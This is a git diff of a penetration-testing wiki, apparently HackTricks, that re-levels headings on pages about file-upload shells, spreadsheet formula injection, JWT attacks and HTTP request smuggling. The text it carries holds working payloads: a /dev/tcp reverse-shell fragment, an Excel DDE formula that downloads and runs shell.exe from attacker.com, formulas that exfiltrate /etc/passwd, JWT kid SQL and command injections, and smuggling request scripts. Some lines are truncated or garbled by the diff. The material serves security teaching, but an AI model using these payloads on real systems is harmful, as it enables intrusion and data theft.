Bypass magic number check by adding at the beginning of the file the **bytes of a real image** (confuse the _file_ command). Or introduce the shell inside the **metadata**: `exiftool -Comment="& /dev/tcp/attacker-ip/attacker-p pop graphic-context ``` -## Embedding PHP Shell on PNG +### Embedding PHP Shell on PNG The primary reason putting a web shell in the IDAT chunk is that it has the ability to bypass resize and re-sampling operations - PHP-GD contains two functions to do this [imagecopyresized](http://php.net/manual/en/function.imagecopyresized.php) and [imagecopyresampled](http://php.net/manual/en/function.imagecopyresampled.php). Read this post: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) -## Polyglot Files +### Polyglot Files Polyglots, in a security context, are files that are a valid form of multiple different file types. For example, a [GIFAR](https://en.wikipedia.org/wiki/Gifar) is both a GIF and a RAR file. There are also files out there that can be both GIF and JS, both PPT and JS, etc. diff --git a/pentesting-web/formula-injection.md b/pentesting-web/formula-injection.md index e573c7a1..780b4081 100644 --- a/pentesting-web/formula-injection.md +++ b/pentesting-web/formula-injection.md @@ -1,5 +1,7 @@ # Formula Injection +## Formula Injection +
Support HackTricks and get benefits! @@ -16,8 +18,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- -# Info +## Info If your **input** is being **reflected** inside **CSV file**s (or any other file that is probably going to be opened by **Excel**), you maybe able to put Excel **formulas** that will be **executed** when the user **opens the file** or when the user **clicks on some link** inside the excel sheet. @@ -25,7 +26,7 @@ If your **input** is being **reflected** inside **CSV file**s (or any other file Nowadays **Excel will alert** (several times) the **user when something is loaded from outside the Excel** in order to prevent him to from malicious action. Therefore, special effort on Social Engineering must be applied to he final payload. {% endhint %} -# Hyperlink +## Hyperlink **The following example is very useful to exfiltrate content from the final excel sheet and to perform requests to arbitrary locations. But it requires the use to click on the link (and accept the warning prompts).** @@ -48,7 +49,7 @@ The details of student in logged in the attackers web server. ![](https://payatu.com/wp-content/uploads/2017/11/Selection\_011.png) -# RCE +## RCE For this example to work it's **needed to have enable the following configuration**:\ File → Options → Trust Center → Trust Center Settings → External Content → Enable Dynamic Data Exchange Server Launch\ @@ -58,15 +59,15 @@ The good news is that **this payload is executed automatically when the file is It's possible to execute a calculator with the following payload **`=cmd|' /C calc'!xxx`** -![](<../.gitbook/assets/image (25) (2) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) +![](<../.gitbook/assets/image (25) (2) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (2).png>) -## More +### More ```bash =cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1 ``` -# LFI +## LFI **LibreOffice Calc** @@ -84,7 +85,7 @@ It's possible to execute a calculator with the following payload **`=cmd|' /C ca * CONCATENATE((SUBSTITUTE(MID((ENCODEURL(‘file:///etc/passwd’#$passwd.A19)),1,41),”%”,”-“)),”.\”) – Concatenate the output from the file (after the above processing has taken place) with the FQDN (for which we have access to the host that is authoritative for the domain) * WEBSERVICE – Will make a request for this non-existent DNS name which we can then parse the logs (or run tcpdump etc.) on the DNS authoritative name server for which we have control -# Google Sheets OOB Data Exfiltration +## Google Sheets OOB Data Exfiltration Firstly, let’s introduce some of the more interesting functions. @@ -124,7 +125,7 @@ Firstly, let’s introduce some of the more interesting functions. =IMAGE("https://[remote IP:Port]/images/srpr/logo3w.png") ``` -# References +## References {% embed url="https://notsosecure.com/data-exfiltration-formula-injection/" %} diff --git a/pentesting-web/hacking-jwt-json-web-tokens.md b/pentesting-web/hacking-jwt-json-web-tokens.md index 05b2d0e1..0406ac81 100644 --- a/pentesting-web/hacking-jwt-json-web-tokens.md +++ b/pentesting-web/hacking-jwt-json-web-tokens.md @@ -1,5 +1,7 @@ # JWT Vulnerabilities (Json Web Tokens) +## JWT Vulnerabilities (Json Web Tokens) +
Support HackTricks and get benefits! @@ -16,20 +18,18 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-{% hint style="danger" %} -**** +\*\*\*\* **Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! {% embed url="https://go.intigriti.com/hacktricks" %} -{% endhint %} -# JWT Vulnerabilities (Json Web Tokens) +## JWT Vulnerabilities (Json Web Tokens) **Part of this post was taken from:** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\ **Author of the great tool to pentest JWTs** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool) -## **Quick Wins** +### **Quick Wins** Run [**jwt\_tool**](https://github.com/ticarpi/jwt\_tool) with mode `All Tests!` and wait for green lines @@ -47,38 +47,38 @@ Then, you can search the request in your proxy or dump the used JWT for that req python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291" ``` -## Tamper data without modifying anything +### Tamper data without modifying anything You can just tamper with the data leaving the signature as is and check if the server is checking the signature. Try to change your username to "admin" for example. -### **Is the token checked?** +#### **Is the token checked?** * If an error message occurs the signature is being checked - read any verbose error info that might leak something sensitive. * If the page returned is different the signature is being checked. * If the page is the same then the signature is not being checked - time to start tampering the Payload claims to see what you can do! -## Origin +### Origin Check where the token originated in your proxy's request history. It should be created on the server, not the client. * If it was first seen coming from the client-side then the **key** is accessible to client-side code - seek it out! * If it was first seen coming from the server then all is well. -## Duration +### Duration Check if the token lasts more than 24h... maybe it never expires. If there is a "exp" filed, check if the server is correctly handling it. -## Brute-force HMAC secret +### Brute-force HMAC secret -[**See this page.**](../brute-force.md#jwt) +[**See this page.**](../generic-methodologies-and-resources/brute-force.md#jwt) -## Modify the algorithm to None (CVE-2015-9235) +### Modify the algorithm to None (CVE-2015-9235) Set the algorithm used as "None" and remove the signature part. Use the Burp extension call "JSON Web Token" to try this vulnerability and to change different values inside the JWT (send the request to Repeater and in the "JSON Web Token" tab you can modify the values of the token. You can also select to put the value of the "Alg" field to "None"). -## Change the algorithm RS256(asymmetric) to HS256(symmetric) (CVE-2016-5431/CVE-2016-10555) +### Change the algorithm RS256(asymmetric) to HS256(symmetric) (CVE-2016-5431/CVE-2016-10555) The algorithm HS256 uses the secret key to sign and verify each message.\ The algorithm RS256 uses the private key to sign the message and uses the public key for authentication. @@ -92,28 +92,28 @@ openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem ``` -## New public key inside the header +### New public key inside the header An attacker embeds a new key in the header of the token and the server uses this new key to verify the signature (CVE-2018-0114). This can be done with the "JSON Web Tokens" Burp extension.\ (Send the request to the Repeater, inside the JSON Web Token tab select "CVE-2018-0114" and send the request). -## JWKS Spoofing +### JWKS Spoofing If the token uses a “jku” Header claim then check out the provided URL. This should point to a URL containing the JWKS file that holds the Public Key for verifying the token. Tamper the token to point the jku value to a web service you can monitor traffic for. If you get an HTTP interaction you now know that the server is trying to load keys from the URL you are supplying. _Use jwt\_tool's -S flag alongside the -u_ [_http://example.com_](http://example.com) _argument to generate a new key pair, inject your provided URL, generate a JWKS containing the Public Key, and sign the token with the Private Key_ -## Kid issues +### Kid issues `kid` is an optional header claim which holds a key identifier, particularly useful when you have multiple keys to sign the tokens and you need to look up the right one to verify the signature. -### "kid" issues - reveal key +#### "kid" issues - reveal key If the claim "kid" is used in the header, check the web directory for that file or a variation of it. For example if `"kid":"key/12345"` then look for _/key/12345_ and _/key/12345.pem_ on the web root. -### "kid" issues - path traversal +#### "kid" issues - path traversal If the claim "kid" is used in the header, check if you can use a different file in the file system. Pick a file you might be able to predict the content of, or maybe try `"kid":"/dev/tcp/yourIP/yourPort"` to test connectivity, or even some **SSRF** payloads...\ _Use jwt\_tool's -T flag to tamper the JWT and change the value of the kid claim, then choose to keep the original signature_ @@ -124,15 +124,15 @@ python3 jwt_tool.py -I -hc kid -hv "../../dev/null" -S hs256 -p "" Using files inside the host with known content you can also forge a valid JWT. For example, in linux systems the file `/proc/sys/kernel/randomize_va_space` has the value set to **2**. So, putting that **path** inside the "**kid**" parameter and using "**2**" as the **symetric password** to generate the JWT you should be able to generate a valid new JWT. -### "kid" issues - SQL Injection +#### "kid" issues - SQL Injection In a scenario wehre the content of the "kid" is used to retreive the password from the database, you could change the payload inside the "kid" parameter to: `non-existent-index' UNION SELECT 'ATTACKER';-- -` and then sign the JWT with the secret key `ATTACKER`. -### "kid" issues - OS Injection +#### "kid" issues - OS Injection In a scenario where the "kid" parameter contains a path to the file with the key and this path is being used **inside an executed command** you could be able to obtain RCE and expose the private key with a payload like the following: `/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&` -## Miscellaneous attacks +### Miscellaneous attacks The following are known weaknesses that should be tested for. @@ -150,9 +150,9 @@ One mitigation against JWT replay attacks (that is advised by the JWT RFC) is to * If the token still validates in the application then this may be a security risk as the token may NEVER expire. -## x5u and jku +### x5u and jku -### jku +#### jku jku stands for **JWK Set URL**.\ If the token uses a “**jku**” **Header** claim then **check out the provided URL**. This should point to a URL containing the JWKS file that holds the Public Key for verifying the token. Tamper the token to point the jku value to a web service you can monitor traffic for. @@ -178,7 +178,7 @@ print("n:", hex(key.n)) print("e:", hex(key.e)) ``` -### x5u +#### x5u X.509 URL. A URI pointing to a set of X.509 (a certificate format standard) public certificates encoded in PEM form. The first certificate in the set must be the one used to sign this JWT. The subsequent certificates each sign the previous one, thus completing the certificate chain. X.509 is defined in RFC 52807 . Transport security is required to transfer the certificates. @@ -197,7 +197,7 @@ Then you can use for example [**jwt.io**](https://jwt.io) to create the new JWT You can also abuse both of these vulns **for SSRFs**. -### x5c +#### x5c This parameter may contain the **certificate in base64**: @@ -210,7 +210,7 @@ openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outatt openssl x509 -in attacker.crt -text ``` -## Embedded Public Key (CVE-2018-0114) +### Embedded Public Key (CVE-2018-0114) If the JWT has embedded a public key like in the following scenario: @@ -250,16 +250,16 @@ console.log('Parameter e: ', publicComponents.e.toString(16)); Finally, using the public and private key and the new "n" and "e" values you can use [jwt.io](https://jwt.io) to forge a new valid JWT with any information. -## JTI (JWT ID) +### JTI (JWT ID) The JTI (JWT ID) claim provides a unique identifier for a JWT Token. It can beused to prevent the token from being replayed.\ However, imagine a situation where the maximun length of the ID is 4 (0001-9999). The request 0001 and 10001 are going to use the same ID. So if the backend is incrementig the ID on each request you could abuse this to **replay a request** (needing to send 10000 request between each successful replay). -## JWT Registered claims +### JWT Registered claims {% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %} -## Tools +### Tools {% embed url="https://github.com/ticarpi/jwt_tool" %} diff --git a/pentesting-web/http-request-smuggling/README.md b/pentesting-web/http-request-smuggling/README.md index d6f05204..4bdb6aee 100644 --- a/pentesting-web/http-request-smuggling/README.md +++ b/pentesting-web/http-request-smuggling/README.md @@ -1,5 +1,7 @@ # HTTP Request Smuggling / HTTP Desync Attack +## HTTP Request Smuggling / HTTP Desync Attack +
Support HackTricks and get benefits! @@ -16,13 +18,12 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- -# What is +## What is This vulnerability occurs when a **desyncronization** between **front-end proxies** and the **back-end** server allows an **attacker** to **send** an HTTP **request** that will be **interpreted** as a **single request** by the **front-end** proxies (load balance/reverse-proxy) and **as 2 request** by the **back-end** server.\ This allows a user to **modify the next request that arrives to the back-end server after his**. -## Theory +### Theory [**RFC Specification (2161)**](https://tools.ietf.org/html/rfc2616) @@ -37,20 +38,20 @@ This allows a user to **modify the next request that arrives to the back-end ser > The Transfer-Encoding header specifies the form of encoding used to safely transfer the payload body to the user.\ > Chunked means that large data is sent in a series of chunks -## Reality +### Reality The **Front-End** (a load-balance / Reverse Proxy) **process** the _**content-length**_ or the _**transfer-encoding**_ header and the **Back-end** server **process the other** one provoking a **desyncronization** between the 2 systems.\ This could be very critical as **an attacker will be able to send one request** to the reverse proxy that will be **interpreted** by the **back-end** server **as 2 different requests**. The **danger** of this technique resides in the fact the **back-end** server **will interpret** the **2nd request injected** as if it **came from the next client** and the **real request** of that client will be **part** of the **injected request**. -## Particularities +### Particularities -Remember that in HTTP **a new line character is composed by 2 bytes:** +Remember that in HTTP **a new line character is composed by 2 bytes:** * **Content-Length**: This header uses a **decimal number** to indicate the **number** of **bytes** of the **body** of the request. The body is expected to end in the last character, **a new line is not needed in the end of the request**. -* **Transfer-Encoding:** This header uses in the **body** an **hexadecimal number** to indicate the **number** of **bytes** of the **next chunk**. The **chunk** must **end** with a **new line** but this new line **isn't counted** by the length indicator. This transfer method must end with a **chunk of size 0 followed by 2 new lines**: `0\r\n` +* **Transfer-Encoding:** This header uses in the **body** an **hexadecimal number** to indicate the **number** of **bytes** of the **next chunk**. The **chunk** must **end** with a **new line** but this new line **isn't counted** by the length indicator. This transfer method must end with a **chunk of size 0 followed by 2 new lines**: `0\r` * **Connection**: Based on my experience it's recommended to use **`Connection: keep-alive`** on the first request of the request Smuggling. -# Basic Examples +## Basic Examples So, request smuggling attacks involve placing both the `Content-Length` header and the `Transfer-Encoding` header into a single HTTP request and manipulating these so that the front-end and back-end servers process the request differently. The exact way in which this is done depends on the behaviour of the two servers: @@ -58,7 +59,7 @@ So, request smuggling attacks involve placing both the `Content-Length` header a * **TE.CL**: the front-end server uses the `Transfer-Encoding` header and the back-end server uses the `Content-Length` header. * **TE.TE**: the front-end and back-end servers both support the `Transfer-Encoding` header, but one of the servers can be induced not to process it by obfuscating the header in some way. -## CL.TE vulnerabilities +### CL.TE vulnerabilities Here, the **front-end** server uses the **`Content-Length`** header and the **back-end** server uses the **`Transfer-Encoding`** header. We can perform a simple HTTP request smuggling attack as follows: @@ -71,9 +72,9 @@ Here, the **front-end** server uses the **`Content-Length`** header and the **ba `GET /404 HTTP/1.1`\ `Foo: x` -Note how `Content-Length` indicate the **bodies request length is 30 bytes long** (_remember that HTTP uses as new line, so 2bytes each new line_), so the reverse proxy **will send the complete request** to the back-end, and the back-end will process the `Transfer-Encoding` header leaving the `GET /404 HTTP/1.1` as the **begging of the next request** (BTW, the next request will be appended to `Foo:x`). +Note how `Content-Length` indicate the **bodies request length is 30 bytes long** (_remember that HTTP uses as new line, so 2bytes each new line_), so the reverse proxy **will send the complete request** to the back-end, and the back-end will process the `Transfer-Encoding` header leaving the `GET /404 HTTP/1.1` as the **begging of the next request** (BTW, the next request will be appended to `Foo:x`). -## TE.CL vulnerabilities +### TE.CL vulnerabilities Here, the front-end server uses the `Transfer-Encoding` header and the back-end server uses the `Content-Length` header. We can perform a simple HTTP request smuggling attack as follows: @@ -89,10 +90,10 @@ Here, the front-end server uses the `Transfer-Encoding` header and the back-end In this case the **reverse-proxy** will **send the hole request** to the **back-end** as the **`Transfer-encoding`** indicates so. But, the **back-end** is going to **process** only the **`7b`** (4bytes) as indicated in the `Content-Lenght` .Therefore, the next request will be the one starting by `GET /404 HTTP/1.1` -_Note that even if the attack must end with a `0\r\n` the following request is going to be appended as extra values of the **x** parameter._\ +_Note that even if the attack must end with a `0\r` the following request is going to be appended as extra values of the **x** parameter._\ _Also note that the Content-Length of the embedded request will indicate the length of the next request that is going to b appended to the **x** parameter. If it's too small, only a few bytes will be appended, and if to large (bigger that the length of the next request) and error will be thrown for the next request._ -## TE.TE vulnerabilities +### TE.TE vulnerabilities Here, the front-end and back-end servers both support the `Transfer-Encoding` header, but one of the servers can be induced not to process it by obfuscating the header in some way.\ There are potentially endless ways to obfuscate the `Transfer-Encoding` header. For example: @@ -111,9 +112,9 @@ There are potentially endless ways to obfuscate the `Transfer-Encoding` header. Depending on the server (reverse-proxy or backing) that **stops processing** the **TE** header, you will find a **CL.TE vulnerability** or a **TE.CL vulnerability**. -# Finding HTTP Request Smuggling +## Finding HTTP Request Smuggling -## Finding CL.TE vulnerabilities using timing techniques +### Finding CL.TE vulnerabilities using timing techniques If an application is vulnerable to the CL.TE variant of request smuggling, then sending a request like the following will often cause a time delay: @@ -137,7 +138,7 @@ And the response is a redirect containing an error inside the body with even the ![](<../../.gitbook/assets/image (443).png>) -## Finding TE.CL vulnerabilities using timing techniques +### Finding TE.CL vulnerabilities using timing techniques If an application is vulnerable to the TE.CL variant of request smuggling, then sending a request like the following will often cause a time delay: @@ -151,7 +152,7 @@ If an application is vulnerable to the TE.CL variant of request smuggling, then Since the front-end server uses the `Transfer-Encoding` header, it will forward only part of this request, omitting the `X`. The back-end server uses the `Content-Length` header, expects more content in the message body, and waits for the remaining content to arrive. This will cause an observable time delay. -## Probing HTTP Request Smuggling vulnerabilities +### Probing HTTP Request Smuggling vulnerabilities Once you have found that the **timing techniques are working** you need to **probe** that you can you can **alter others clients requests**.\ The easiest way to do this is to try to poison your own requests, **make a request for `/` return a 404 for example**.\ @@ -167,7 +168,7 @@ Some important considerations should be kept in mind when attempting to confirm * In some applications, the front-end server functions as a load balancer, and forwards requests to different back-end systems according to some load balancing algorithm. If your "attack" and "normal" requests are forwarded to different back-end systems, then the attack will fail. This is an additional reason why you might need to try several times before a vulnerability can be confirmed. * If your attack succeeds in interfering with a subsequent request, but this wasn't the "normal" request that you sent to detect the interference, then this means that another application user was affected by your attack. If you continue performing the test, this could have a disruptive effect on other users, and you should exercise caution. -## Forcing via hop-by-hop headers +### Forcing via hop-by-hop headers Abusing hop-by-hop headers you could indicate the proxy to **delete the header Content-Length or Transfer-Encoding so a HTTP request smuggling is possible to abuse**. @@ -181,9 +182,9 @@ For **more information about hop-by-hop headers** visit: [abusing-hop-by-hop-headers.md](../abusing-hop-by-hop-headers.md) {% endcontent-ref %} -# Abusing HTTP Request Smuggling +## Abusing HTTP Request Smuggling -## To bypass front-end security controls +### To bypass front-end security controls Some times the **front-end proxies will perform some security checks**. You can avoid them by abusing HTTP Request Smuggling as you will be able to **bypass the protections**. For example, in this example you **cannot access `/admin` from the outside** and the front-end proxy is checking that, but this **proxy isn't checking the embedded request**: @@ -219,7 +220,7 @@ Some times the **front-end proxies will perform some security checks**. You can `0`\ `\` -## Revealing front-end request rewriting +### Revealing front-end request rewriting In many applications, the **front-end server performs some rewriting of requests** before they are forwarded to the back-end server, typically by adding some additional request headers.\ One common thing to do is to **add to the request the header** `X-Forwarded-For: ` or some similar header so the back-end knows the IP of the client.\ @@ -239,11 +240,11 @@ For discovering how is the proxy rewriting the request you need to **find a POST In this case the next request will be appended after `search=` which is also **the parameter whose value is going to be reflected** on the response, therefore it's going to **reflect the headers of the next request**. Note that **only the length indicated in the `Content-Length` header of the embedded request is going to be reflected**. If you use a low number, only a few bytes will be reflected, if you use a bigger number than the length of all the headers, then the embedded request will throw and error. Then, you should **start** with a **small number** and **increase** it until you see all you wanted to see.\ -Note also that this **technique is also exploitable with a TE.CL** vulnerability but the request must end with `search=\r\n0\r\n`. However, independently of the new line characters the values are going to be appended to the search parameter. +Note also that this **technique is also exploitable with a TE.CL** vulnerability but the request must end with `search=\r\n0\r`. However, independently of the new line characters the values are going to be appended to the search parameter. Finally note that in this attack we are still attacking ourselves to learn how the front-end proxy is rewriting the request. -## Capturing other users' requests +### Capturing other users' requests If you can find a POST request which is going to save the contents of one of the parameters you can append the following request as the value of that parameter in order to store the quest of the next client: @@ -267,9 +268,9 @@ In this case, the value of the **parameter comment** is going to be **saved insi _One limitation with this technique is that it will generally only capture data up until the parameter delimiter that is applicable for the smuggled request. For URL-encoded form submissions, this will be the `&` character, meaning that the content that is stored from the victim user's request will end at the first `&`, which might even appear in the query string._ -Note also that this **technique is also exploitable with a TE.CL** vulnerability but the request must end with `search=\r\n0\r\n`. However, independently of the new line characters the values are going to be appended to the search parameter. +Note also that this **technique is also exploitable with a TE.CL** vulnerability but the request must end with `search=\r\n0\r`. However, independently of the new line characters the values are going to be appended to the search parameter. -## Using HTTP request smuggling to exploit reflected XSS +### Using HTTP request smuggling to exploit reflected XSS If the web page is also **vulnerable to Reflected XSS**, you can abuse HTTP Request Smuggling to attack clients of the web. The exploitation of Reflected XSS from HTTP Request Smuggling have some advantages: @@ -295,7 +296,7 @@ If a web is vulnerable to Reflected XSS on the User-Agent header you can use thi \`\`\ `A=` -## Using HTTP request smuggling to turn an on-site redirect into an open redirect +### Using HTTP request smuggling to turn an on-site redirect into an open redirect Many applications perform on-site redirects from one URL to another and place the hostname from the request's `Host` header into the redirect URL. An example of this is the default behavior of Apache and IIS web servers, where a request for a folder without a trailing slash receives a redirect to the same folder including the trailing slash: @@ -329,7 +330,7 @@ The smuggled request will trigger a redirect to the attacker's website, which wi Here, the user's request was for a JavaScript file that was imported by a page on the web site. The attacker can fully compromise the victim user by returning their own JavaScript in the response. -## Using HTTP request smuggling to perform web cache poisoning +### Using HTTP request smuggling to perform web cache poisoning If any part of the **front-end infrastructure performs caching of content** (generally for performance reasons) the it **might be possible to poison that cache modifying the response of the server**. @@ -359,7 +360,7 @@ Then, **after poisoning the socket**, you need to send a **GET request** to \*\* The next time that somebody ask for `/static/include.js` the cached contents of the attackers script will be server (general XSS). -## Using HTTP request smuggling to perform web cache deception +### Using HTTP request smuggling to perform web cache deception > **What is the difference between web cache poisoning and web cache deception?** > @@ -380,7 +381,7 @@ In this variant, the attacker smuggles a request that returns some sensitive use If the **poison reaches a client that was accessing some static content** like `/someimage.png` that was going to be **cached**. The contents of `/private/messages` of the victim will be cached in `/someimage.png` and the attacker will be able to steal them.\ Note that the **attacker doesn't know which static content the victim was trying to access** so probably the best way to test this is to perform the attack, wait a few seconds and **load all** the static contents and **search for the private data**. -## Weaponizing HTTP Request Smuggling with HTTP Response Desynchronisation +### Weaponizing HTTP Request Smuggling with HTTP Response Desynchronisation Have you found some HTTP Request Smuggling vulnerability and you don't know how to exploit it. Try these other method of exploitation: @@ -388,9 +389,9 @@ Have you found some HTTP Request Smuggling vulnerability and you don't know how [http-response-smuggling-desync.md](../http-response-smuggling-desync.md) {% endcontent-ref %} -# Turbo intruder scripts +## Turbo intruder scripts -## CL.TE +### CL.TE From [https://hipotermia.pw/bb/http-desync-idor](https://hipotermia.pw/bb/http-desync-idor) @@ -433,7 +434,7 @@ def handleResponse(req, interesting): table.add(req) ``` -## TE.CL +### TE.CL From: [https://hipotermia.pw/bb/http-desync-account-takeover](https://hipotermia.pw/bb/http-desync-account-takeover) @@ -479,13 +480,13 @@ def handleResponse(req, interesting): table.add(req) ``` -# More info +## More info -![](../../.gitbook/assets/EKi5edAUUAAIPIK.jpg) +![](../../.gitbook/assets/eki5edauuaaipik.jpg) [Image from here.](https://twitter.com/SpiderSec/status/1200413390339887104?ref\_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104\&ref\_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104) -# Tools +## Tools * [https://github.com/anshumanpattnaik/http-request-smuggling](https://github.com/anshumanpattnaik/http-request-smuggling) * [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler) @@ -493,7 +494,7 @@ def handleResponse(req, interesting): * [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler) * [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): This tool is a grammar-based HTTP Fuzzer useful to find weird request smuggling discrepancies. -# References +## References * [https://portswigger.net/web-security/request-smuggling](https://portswigger.net/web-security/request-smuggling) * [https://portswigger.net/web-security/request-smuggling/finding](https://portswigger.net/web-security/request-smuggling/finding) diff --git a/pentesting-web/http-request-smuggling/request-smuggling-in-http-2-downgrades.md b/pentesting-web/http-request-smuggling/request-smuggling-in-http-2-downgrades.md index 9a890066..983ba224 100644 --- a/pentesting-web/http-request-smuggling/request-smuggling-in-http-2-downgrades.md +++ b/pentesting-web/http-request-smuggling/request-smuggling-in-http-2-downgrades.md @@ -1,5 +1,7 @@ # Request Smuggling in HTTP/2 Downgrades +## Request Smuggling in HTTP/2 Downgrades +
Support HackTricks and get benefits! @@ -16,8 +18,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- -# Origins +## Origins The main origin of this vulnerability is the fact that the **reverse proxy** is going to **talk with the client** using **HTTP/2** but then it will **transform** that **communication** with the **back-end server** to **HTTP/1.1**. @@ -25,15 +26,15 @@ The main origin of this vulnerability is the fact that the **reverse proxy** is The problem with this approach is that the **user** is going to be able to **inject** unnecessarily **headers** in the **HTTP/2 communication** that probably **won't be checked** by the proxy. But then, when those are **injected blindly in the HTTP/1.1 communication**, **a request smuggling attack can be performed**. -# Examples +## Examples -## H2.CL Desync +### H2.CL Desync The HTTP/2 specification indicates that the **Content-Length header isn't needed but can be indicated**. Therefore, the **reverse proxy** will **treat all the content sent by the users** as the request, but then, when **downgrading to HTTP/1.1**, this **header** is going to be **injected** in the **request** and therefore, the **back-end will treat the request as 2 different requests** as you can see in the image below: ![](<../../.gitbook/assets/image (639).png>) -## H2.TE Desync URL Token Hijack +### H2.TE Desync URL Token Hijack The HTTP/2 specification also indicates that **any message containing connection-specific header fields MUST be treated as malformed... but if you don't follow this rule, you are vulnerable**. @@ -41,13 +42,13 @@ This technique was abused on AWS load balancer, so making sure that the users ac ![](<../../.gitbook/assets/image (631) (1).png>) -## H2.TE Desync Header Hijack +### H2.TE Desync Header Hijack This is exactly the same technique as before, but checking the requests James noticed that clients were asking to send him their credentials, so he just modified his server to allow CORS to send him peoples credentials: ![](<../../.gitbook/assets/image (662) (1) (1) (1) (1).png>) -## H2.TE via Request Header Injection +### H2.TE via Request Header Injection **HTTP/2 also won't allow to put not permitted characters in headers**, but if the server **isn't respecting** this rule, you can **inject arbitrary headers** when the communication is **downgraded** to HTTP/1.1. @@ -55,7 +56,7 @@ In this case **the header Transfer-Encoding was injected**. ![](<../../.gitbook/assets/image (648) (1) (1) (1) (1) (1).png>) -## H2.TE via Header Name Injection +### H2.TE via Header Name Injection HTTP/2 on some servers lets you put a **colon in the header name, and with a** you can inject a new header inside the header name like this: @@ -65,23 +66,23 @@ Note that if you put just the new line characters sending a header without conte ![](<../../.gitbook/assets/image (647) (1) (1) (1).png>) -## H2.TE via Request LIne Injection +### H2.TE via Request LIne Injection In this case the injection was performed inside the request line: -![](<../../.gitbook/assets/image (640) (1).png>) +![](<../../.gitbook/assets/image (645) (1) (1).png>) -## URL Prefix Injection +### URL Prefix Injection Inside the scheme of the HTTP/2 connection you might be able to send a full URL that will overwrite the one indicated in the path: ![](<../../.gitbook/assets/image (661) (1) (1).png>) -## Request Line Injection via spaces +### Request Line Injection via spaces ![](<../../.gitbook/assets/image (641) (1).png>) -# Frontend->backend connection reuse +## Frontend->backend connection reuse Sometimes you will find that preforming a HTTP Request Smuggling attack **you can only attack yourself**. This could be because the reverse proxy has decided to **use a different connection with the back-end** server per IP. @@ -93,7 +94,7 @@ Usually this restriction doesn't exist so you can **smuggle request into the con In the heaviest restriction (no connection reuse) you will detect the vulnerability with the Time Based technique, but then testing it you will find that it's a "false positive". -## Tunnelling Confirmation +### Tunnelling Confirmation A way to **confirm** if the **endpoint is vulnerable** but the connection is **inside a "tunnel"** is to **smuggle 2 full requests** into 1. @@ -103,7 +104,7 @@ However, this technique can be used **in HTTP/2** because if the endpoint was ** ![](<../../.gitbook/assets/image (652) (1) (1).png>) -## Tunnel-vision Problem +### Tunnel-vision Problem There could be another problem, if the **response** to the legit request **contains** a **Content-Length**, the **reverse prox**y is only going to **read the bytes specified there and no more, so you won't be able to read the response from the smuggled request.** @@ -111,7 +112,7 @@ However, the **HEAD** request **doesn't contain a body** but it usually **contai ![](<../../.gitbook/assets/image (628) (1) (1).png>) -## Leaking Internal Headers via Tunneling +### Leaking Internal Headers via Tunneling If you find a **POST** **parameter** inside the application whose **content** is going to be **reflected** in the **response**, then you can try to inject HTTP/1.1 \r\n characters inside a HTTP/2 request header so the newly injected headers by the proxy are going to be appended in the POST parameter that will be reflected in the response: @@ -123,7 +124,7 @@ Note that in this case the **attacker** just cares about the **response** to the Using this attack **agains different parts of the web (method, path...)** can lead to different back-ends being used and **different sensitive information being leaked** {% endhint %} -## Cache Poisoning via Tunneling +### Cache Poisoning via Tunneling In this scenario a **HEAD** request to the **URL** **whose** **cache** is going to be **poisoned** is sent while **smuggling** a **request** whose **response content will be containing the payload** (maybe some XSS payload). @@ -131,18 +132,18 @@ Due to the fact the the **HEAD response contains the `Content-Type: text/html`** ![](<../../.gitbook/assets/image (659) (1).png>) -# Hidden HTTP/2 +## Hidden HTTP/2 Usually servers advertise the support via ALPN field in TLS handshake, but some doesn't. It can be easily detected using `curl --http2 --http2-prior-knowledge` -# Tools +## Tools * Burp extension: HTTP Request Smuggler * [https://github.com/neex/http2smugl](https://github.com/neex/http2smugl) -# References +## References * This talk explains perfectly all the techniques indicated here: [https://www.youtube.com/watch?v=rHxVVeM9R-M](https://www.youtube.com/watch?v=rHxVVeM9R-M) diff --git a/pentesting-web/http-response-smuggling-desync.md b/pentesting-web/http-response-smuggling-desync.md index ca2583e2..a4370cfe 100644 --- a/pentesting-web/http-response-smuggling-desync.md +++ b/pentesting-web/http-response-smuggling-desync.md @@ -1,5 +1,7 @@ # HTTP Response Smuggling / Desync +## HTTP Response Smuggling / Desync +
Support HackTricks and get benefits! @@ -16,8 +18,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
